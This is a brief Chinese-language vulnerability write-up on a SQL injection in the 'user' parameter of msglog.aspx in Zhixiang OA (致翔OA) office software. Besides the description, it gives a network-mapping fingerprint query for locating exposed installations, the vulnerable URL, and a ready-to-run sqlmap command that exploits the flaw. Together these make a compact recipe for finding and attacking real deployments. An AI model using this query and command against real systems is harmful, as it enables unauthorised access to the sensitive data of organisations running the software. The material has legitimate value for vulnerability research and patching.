致翔OA msglog.aspx SQL注入漏洞¶

漏洞描述¶

致翔OA msglog.aspx文件存在SQL注入漏洞，攻击者通过漏洞可获取敏感信息

漏洞影响¶

致翔OA

网络测绘¶

app="致翔软件-致翔OA"

漏洞复现¶

产品页面

存在漏洞的文件为 msglog.aspx,涉及注入的参数为 user

/mainpage/msglog.aspx?user=1

SQLMap跑一下

sqlmap -u http://127.0.0.1/mainpage/msglog.aspx?user=1 -p user --batch